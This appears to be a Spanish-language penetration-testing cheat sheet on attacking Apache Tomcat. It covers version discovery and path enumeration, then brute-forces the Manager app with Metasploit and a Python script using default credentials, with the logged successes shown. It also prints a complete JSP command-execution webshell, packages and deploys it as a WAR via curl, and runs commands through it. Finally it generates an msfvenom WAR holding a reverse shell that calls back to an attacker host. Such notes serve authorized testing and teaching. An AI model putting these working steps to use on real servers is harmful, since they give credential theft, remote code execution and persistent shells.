Skip to content

Tomcat — Discovery & Enumeration

Apache Tomcat es un contenedor de servlets Java, muy común como backend de aplicaciones empresariales Java/JSP. Su superficie de ataque principal en un pentest es la Tomcat Manager App, una interfaz administrativa que, con credenciales válidas, permite desplegar aplicaciones .war directamente — el vector clásico y más directo hacia RCE.

Discovery / Footprinting

c
❯ curl -s http://app-dev.empresacorp.local:8080/docs/ | grep Tomcat 

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author" 

<SNIP>
  • La página de documentación (/docs/) suele estar accesible por defecto y revela la versión exacta — si está deshabilitada, la propia página de error 404 de Tomcat también suele incluir la versión en su pie de página.

Identificación de servicios Tomcat

c
❯ nmap -sV --script=http-title -p80,443,8080,8443 <IP>
❯ nmap -sV --script=tomcat* -p8080 <IP>
  • Los scripts NSE con prefijo tomcat* incluyen tomcat-enum (detección de rutas comunes) y otros específicos del servicio.

Detección de Manager App (rutas comunes)

c
/manager/html
/host-manager/html
/tomcat/manager
/admin
  • Probar cada ruta con y sin barra final, y también sobre puertos alternativos comunes (8080, 8180, 8443) — algunas instalaciones exponen el manager en un puerto distinto al de la aplicación principal.

Fuzzing de directorios (rutas comunes de Tomcat)

c
❯ gobuster dir -u http://<IP>:8080 -w /usr/share/wordlists/dirb/common.txt
❯ wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://<IP>:8080/FUZZ

Wordlist más específica de rutas típicas de aplicaciones Java/Tomcat (mejor tasa de acierto que un diccionario genérico):

c
❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt:FUZZ -u http://<IP>:8080/FUZZ

Ataques a Tomcat

Fuerza bruta de login del Manager

Con el módulo dedicado de Metasploit (prueba automáticamente combinaciones de credenciales por defecto conocidas de Tomcat):

c
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.empresacorp.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 172.16.72.10
c
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options 

Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name              Current Setting                                                                 Required  Description
   ----              ---------------                                                                 --------  -----------
   BLANK_PASSWORDS   false                                                                           no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                               yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                                           no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                           no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                           no        Add all users in the current database to the list
   PASSWORD                                                                                          no        The HTTP password to specify for authentication
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt      no        File containing passwords, one per line
   Proxies                                                                                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            172.16.72.10                                                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             8180                                                                            yes       The target port (TCP)
   SSL               false                                                                           no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   true                                                                            yes       Stop guessing when a credential works for a host
   TARGETURI         /manager/html                                                                   yes       URI for Manager login. Default is /manager/html
   THREADS           1                                                                               yes       The number of concurrent threads (max one per host)
   USERNAME                                                                                          no        The HTTP username to specify for authentication
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                                           no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt     no        File containing users, one per line
   VERBOSE           true                                                                            yes       Whether to print output for all attempts
   VHOST             web01.empresacorp.local
c
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:manager (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:root (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:tomcat (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:s3cret (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:vagrant (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:admin (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:manager (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:role1 (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:root (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:tomcat (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:s3cret (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: manager:vagrant (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:admin (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:manager (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:role1 (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:root (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:tomcat (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:s3cret (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: role1:vagrant (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:admin (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:manager (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:role1 (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:root (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:tomcat (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:s3cret (Incorrect)
[-] 172.16.72.10:8180 - LOGIN FAILED: root:vagrant (Incorrect)
[+] 172.16.72.10:8180 - Login Successful: tomcat:admin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
  • Es una lista corta y bien conocida de credenciales por defecto (tomcat:tomcat, admin:admin, tomcat:s3cret, etc.) que muchas instalaciones nunca cambian tras el despliegue inicial.

Enrutar el ataque a través de un proxy (por ejemplo, para inspeccionar el tráfico en Burp mientras corre el módulo):

c
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PROXIES HTTP:127.0.0.1:8080
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 172.16.72.10:8180 - LOGIN FAILED: admin:admin (Incorrect)
...

Decodificar credenciales encontradas en Base64 en logs/configuración (Tomcat a veces almacena o transmite usuario:contraseña codificado en Basic Auth):

c
❯ echo YWRtaW46dmFncmFudA== | base64 -d

admin:vagrant

Herramienta dedicada alternativa a Metasploit para fuerza bruta del Manager:

c
❯ python3 mgr_brute.py  -h

usage: mgr_brute.py [-h] -U URL -P PATH -u USERNAMES -p PASSWORDS

Tomcat manager or host-manager credential bruteforcing

optional arguments:
  -h, --help            show this help message and exit
  -U URL, --url URL     URL to tomcat page
  -P PATH, --path PATH  manager or host-manager URI
  -u USERNAMES, --usernames USERNAMES
                        Users File
  -p PASSWORDS, --passwords PASSWORDS
                        Passwords Files
c
❯ python3 mgr_brute.py -U http://web01.empresacorp.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

[+] Atacking.....

[+] Success!!
[+] Username : b'tomcat'
[+] Password : b'admin'

Despliegue de WAR malicioso (RCE post-autenticación)

Con credenciales válidas del Manager, subir un archivo .war que contenga una webshell JSP es el camino directo y más confiable a ejecución de comandos.

Webshell JSP de referencia:

java
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

Empaquetar como .war (un WAR es, en esencia, un ZIP con estructura específica de aplicación Java):

c
❯ wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
❯ zip -r backup.war cmd.jsp 

  adding: cmd.jsp (deflated 81%)

Subir el WAR vía la interfaz del Manager (War file to deploy) o vía la API de despliegue directamente con curl:

c
❯ curl -u tomcat:admin -T backup.war "http://web01.empresacorp.local:8180/manager/text/deploy?path=/backup"

Una vez desplegado (el contexto queda accesible en /backup/), interactuar con la webshell:

c
❯ curl http://web01.empresacorp.local:8180/backup/cmd.jsp?cmd=id

<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: id<BR>
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

</pre>
</BODY></HTML>

Payload directo con msfvenom (alternativa a la webshell manual)

Generar un WAR con una reverse shell Meterpreter embebida, evitando escribir la JSP manualmente:

c
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.60.5 LPORT=4443 -f war > backup.war

Payload size: 1098 bytes
Final size of war file: 1098 bytes
  • Requiere tener un listener de Metasploit (multi/handler) activo antes de acceder a la ruta desplegada, ya que la ejecución del payload ocurre en cuanto Tomcat carga la aplicación o se accede a su endpoint.

Vulnerabilidades conocidas sin autenticación

Ghostcat (CVE-2020-1938) — Lectura de archivos vía AJP

Afecta al conector AJP (puerto 8009 por defecto), habilitado por defecto en versiones antiguas de Tomcat, y permite leer cualquier archivo dentro del contexto de la aplicación web (incluyendo WEB-INF/web.xml, que puede revelar rutas internas o credenciales) sin necesidad de autenticación:

c
❯ nmap -p8009 --script tomcat-ghostcat <IP>
  • Herramientas dedicadas como ajpfuzzer o scripts públicos de PoC en GitHub automatizan la explotación completa (lectura de archivos e incluso escritura/RCE en combinación con carga de archivos, dependiendo de la configuración).
  • Mitigación estándar: deshabilitar el conector AJP si no se usa, o restringirlo a localhost/red interna únicamente.

Notas de metodología

  • Antes de intentar fuerza bruta extensa, probar primero la lista corta de credenciales por defecto más comunes (tomcat:tomcat, tomcat:s3cret, admin:admin, both:tomcat) — la mayoría de instalaciones comprometidas en la práctica caen por credenciales nunca rotadas, no por fuerza bruta exhaustiva.
  • El despliegue de WAR vía Manager es ruidoso (queda registrado en los logs de acceso y en el propio listado de aplicaciones desplegadas del Manager) — documentar esto como parte de la evidencia, y recordar remover la aplicación desplegada al finalizar la prueba si el alcance lo requiere.